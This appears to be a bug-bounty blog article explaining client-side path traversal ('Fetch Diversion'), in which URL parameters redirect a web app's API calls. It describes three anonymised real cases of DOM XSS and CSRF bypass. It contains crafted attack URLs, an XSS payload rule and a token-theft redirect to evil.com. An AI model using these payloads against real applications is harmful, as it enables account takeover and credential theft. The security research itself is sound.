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Fetch Diversion

·2251 words·11 mins
articles bug bounty fetch diversion xss
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API calls and requests for resources can sometimes be diverted toward a different endpoint on the same host, potentially resulting in DOM XSS’s that would otherwise be impossible to trigger, or other types of client-side vulnerabilities.

Traffic sign showing “Diverted traffic”

Update: it’s been brought to my attention that this type of vulnerabilities is more commonly called “client-side path traversal”

Diverting fetch requests
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Modern web applications commonly consist of a single web page that sends requests to an API. Sometimes in the process, elements from the browser’s address bar, like query parameters or fragment parameters, are injected into the path segment of the API’s URL. For example, when the

https://app.target.com/users?id=123456

or

https://app.target.com/#/users/123456/profile

URL is visited, the application might send a GET request to

https://api.target.com/v2/users/123456/profile

in order to fetch the profile data of user 123456 and inject it into the DOM.

What would happen if instead of 123456, we used something like ../malicious/path for the user id? If we’re lucky and the client-side code isn’t too picky about what constitutes a valid user id, we might find that the API call gets sent to https://api.target.com/v2/malicious/path/profile instead.

What’s happening here is that the client-side javascript forms the https://api.target.com/v2/users/../malicious/path/profile URL and uses it in a fetch request. The browser then normalizes the URL before sending the request, which results in the .. eating the users path component. Some other normalization that the browser does include removing unnecessary /./ and converting \ into /.

Note that parameters are almost always URL-decoded at least once before being injected, which plays to our advantage. This is not part of URL normalization though; this is done by the client-side javascript, most often by the front-end framework. Sometimes the client-side javascript will do more processing, like removing %0A and %09, which can be used to bypass WAFs that might block %2E%2E%2F.

Now we only have to get rid of the trailing /profile and request can be diverted toward any endpoint on api.target.com. It can usually be done by adding a ? or a #, URL-encoded if needed, at the end of the injected parameter. So in the end we could could make our victim visit

https://app.target.com/users?id=../malicious/path%23

or

https://app.target.com/#/users/..%2Fmalicious%2Fpath%23/profile

and have the application make its API call to

https://api.target.com/v2/users/../malicious/path#/profile

which would normalize to

https://api.target.com/v2/malicious/path

Of course API calls are not the only type of requests we can divert. Applications may fetch all kinds of resources from their server, usually in the form of a json file. One that is particularly interesting is translation files, as we’ll see in our first real-world example.

Exploitation
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DOM XSS with uploaded file
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If the application allows file uploads, and if the uploaded file can be retrieved on a endpoint that can be reached with a Fetch Diversion, then we can control the response to any request we are able to divert. It can result in an XSS if a property from the response is inserted into the DOM in an insecure way.

The great thing with this technique is that the Content-Type used to serve the uploaded file doesn’t matter. Normally an uploaded file that is returned as image/png or application/octet-stream, for example, cannot be used directly for XSS, because browsers will only allow script execution from a few select types like text/html, image/svg+xml or text/xml. However, since the application is making a simple fetch, it will happily treat the response as whatever it expects (usually application/json), irrespective of its stated Content-Type.

Similarly, response headers like Content-Disposition: attachment, won’t prevent our forged response from being interpreted.

Unfortunately, even when we’re able to divert calls and upload files, there are a few additional requisites before it can be exploited for a DOM XSS:

  1. We need to be able to upload a file with arbitrary content, which will be served unmodified. If the back-end checks the content of the file or tries to process it in any way (image transcoding for example), it probably won’t be exploitable.

  2. The uploaded file must be accessible on the host toward which requests can be diverted. If, for example, the file is served directly from the CDN it’s uploaded to, we probably won’t be able to exploit it.

  3. The uploaded file must be accessible by someone else, or else we would just end up with a self-XSS

  4. There need to be a DOM XSS using one of the attributes returned by one of the requests we can divert

A common place for exploitation is in profile pictures, which also often have the advantage of being publicly accessible. Our second real-world example is an illustration of this.

Making authenticated requests
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Applications that use a custom header (like Authorization or X-CSRF-Token) or require Content-Type: application/json are normally immune to CSRF (barring CORS misconfiguration). But since we’re diverting a legitimate call issued by the application itself, we’re gaining the ability to make calls with our victim’s headers.

Keep in mind though that only the path and query parameters can be controlled. We will have to do with whatever method and body the diverted request happens to have. Most of the time it will only be GET requests, because it’s unlikely that a website will issue other types of requests on its own in response to a navigation event. It’s not unheard of though, as our third real-world example shows.

Still, if we can find an API that can change data based on query parameters, then we might be able to exploit it. A great example is GraphQL, which sometimes allows mutations through GET requests. If this is the case, then we might be able to perform mutations as our victim by making them visit a URL like this:

https://app.target.com/users?id=../../graphql%3Fquery%3D{mutation ...}

Sometimes POST requests will take their parameters from the URL if those parameters cannot be found in the body. When this is the case and if we’re able to divert a POST request then it most likely can be exploited, since it’s unlikely the original endpoint and the endpoint we’re diverting to both expect the same parameters.

Stealing access tokens
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This is a theoretical exploit that I’ve never encountered in the real world.

Imagine the application uses a custom header for authorization (as opposed to cookies), and we have an open redirect (the HTTP kind) on the host towards which requests can be diverted. Then we would be able to send requests to our own server, and those requests will contain our victim’s token. For example, visiting the following URL:

https://app.target.com/users?id=../../path/to/open/redirect%3Furl%3D%2F%2Fevil.com

will send an authenticated request to:

https://api.target.com/path/to/open/redirect?url=//evil.com

and this request, headers included, will be redirected to https://evil.com.

Real-world examples
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Despite the attack having quite a few requisites, I’ve been able to successfully exploit it on a multiple occasions. Since they were all on private programs, I’ll remain somewhat vague and change all URLs that would be identifiable.

Case 1: XSS in translation file
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The target was a web application for secure sharing of documents within an organization. Documents of all kinds could be uploaded, and one of the feature was sharing a preview of a document with co-workers. A preview which, in the case of a text file, was just the file itself. The name of the preview file was a randomly generated UUID.

The application also had an integrated web editor. This web editor used angular-translate for i18n, and the locale could be set through the locale query parameter. The translation file was loaded from

https://app.target.com/i18n/locale-.json

where <locale> was the value of the locale query parameter. One particularity is that the locale had to start with en- (or any other supported language), or angular-translate would error out and skip loading the translations.

All you had to do was upload a malicious json document that would add an XSS payload to the translation of the appropriate message, share it with your team, and make one of your team members visit:

https://app.target.com/path/to/web_editor?lang=en-/../../path/to/preview/uuid?

It would make the application load its messages from:

https://app.target.com/i18n/locale-en-/../../path/to/preview/uuid?.json

which would normalize to the malicious preview file:

https://app.target.com/path/to/preview/uuid?.json

While the file was being loaded, the web editor would conveniently display status messages using the very unsafe innerHTML, resulting in a DOM XSS.

Case 2: XSS in API call
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On this web application, users were able to upload an avatar for their profile. Avatars were publicly accessible, even to unregistered users.

The client-side code would only allow the upload of valid image files, mostly because it was using an editor to offer the user the possibility to crop their image before upload. You could however upload arbitrary content manually, and the file was made available completely unchanged. XSS with an html or svg file was impossible though, because all avatars were served with a Content-Type: application/binary header (which makes the browser download the file, instead of displaying it).

Avatars were uploaded to an S3 bucket that was using a generic *.s3.amazonaws.com hostname, but interestingly the bucket didn’t allow any type of public access. Instead, avatars were made accessible through an API that was (presumably) proxying requests to the AWS bucket. This was perfect for our purpose.

The application was using vue.js, and client-side routing was done using the path in the URL fragment. For example,

https://app.target.com/#/projects/123456

would make an API call to

https://app.target.com/v2/projects/123456

There were multiple routes similar to this one, where the object id could be used to divert API calls toward a malicious avatar file.

Finding exploitable API calls
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The first issue was that most of them could not be be exploited for a DOM XSS. When properties were inserted into the DOM, it was done in a safe way. I used Burp’s “Match and Replace” to inject an XSS payload in all the json values returned by those API calls, and finally detected a few properties that were inserted in an insecure way. The Match and Replace was simple but effective:

  • Match in response body: "([^"]*)":"
  • Replace: "$1":"<img src onerror=\\"console.log(`XSS on \${origin} using $1`)\\">

Getting through multiple API calls
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The second issue was that the only interesting URL I managed to identify was making multiple API calls, and the call that returned the exploitable properties was only the 3rd call being made. The normal flow would look like:

  • User visits https://app.target.com/#/projects/123456/obj1
    1. App calls https://app.target.com/v2/projects/123456, receiving a project
    2. App calls https://app.target.com/v2/projects/123456/obj2, receiving an obj2
    3. App calls https://app.target.com/v2/projects/123456/obj3, receiving an obj3
      ↳ this is the response that can be exploited for a DOM XSS

With a Fetch Diversion using the project id, the flow would now be:

  • User visits https://app.target.com/#/projects/..%2F..%2Fuploads%2Fevil.png%23/obj1
    1. App calls https://app.target.com/uploads/evil.png, expecting a project, receiving an obj3
    2. App calls https://app.target.com/uploads/evil.png, expecting an obj2, receiving an obj3
    3. App calls https://app.target.com/uploads/evil.png, expecting an obj3, receiving an obj3

And the flow would in fact stop with an error on the 1st API call, because the expected properties were missing from the response.

This is a fundamental limitation of Fetch Diversion: all requests that are diverted using the same parameter, are diverted toward the same endpoint. They will all see the same response, but they are are expecting different objects. The application may error out before even sending the request that could be exploited for XSS.

In this case, I was able to work around this issue by adding the properties expected by the 1st API call, to the json object I was storing in my avatar as the intended response to the 3rd API call. That was enought to keep the application happy.

I won’t get into the details of the 2nd API call, but I was extremely lucky. There was another Fetch Diversion that was possible there, and I was able to divert this call toward a 2nd avatar that would contain a suitable response.

With all this, the app proceeded with the 3rd call and I was able to trigger a DOM XSS that could target any user, in any organization.

Case 3: Diverting a POST request to bypass CSRF protection
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This web application was using a cookie with SameSite=None for authorization. CSRF was out of the question though, because all API calls were protected through the use of a custom header.

One of the pages was using some custom code that was extracting the id query parameter from the URL, checking that it looked like a UUID, and then injecting it inside the path of an API call. But all values that started like a UUID were accepted. As a result, visiting a URL such as:

https://app.target.com/vulnerable/page?id=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/../../../target?

would send a POST request to:

https://app.target.com/api/endpoint/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/../../../target?some/action

which would be normalized as:

https://app.target.com/target?some/action

Being generated by the application, the request of course contained the user’s anti-CSRF header (in addition to their authorization cookie).

There were a few actions that were possible through a POST request, that didn’t care what the body was. The attack was able to trigger those actions as the victim, but none of them were extremely impactful.

There was a very fortunate (for the program) and probably unintentional behavior in the piece of code that extracted the id from the URL, that made it impossible to add query parameters to the diverted POST request. It turned out to be very unfortunate for me, because the API had an endpoint that allowed the user to upload an sftp key with a POST request. This particular post request was taking its parameters (including the base64-encoded key to upload) from the query parameters when they were not present in the body. Were it not for this parsing peculiarity, an unauthenticated attacker would have been able to use the Fetch Diversion to upload their sftp key and gain read/write/create/delete access to the victim’s files.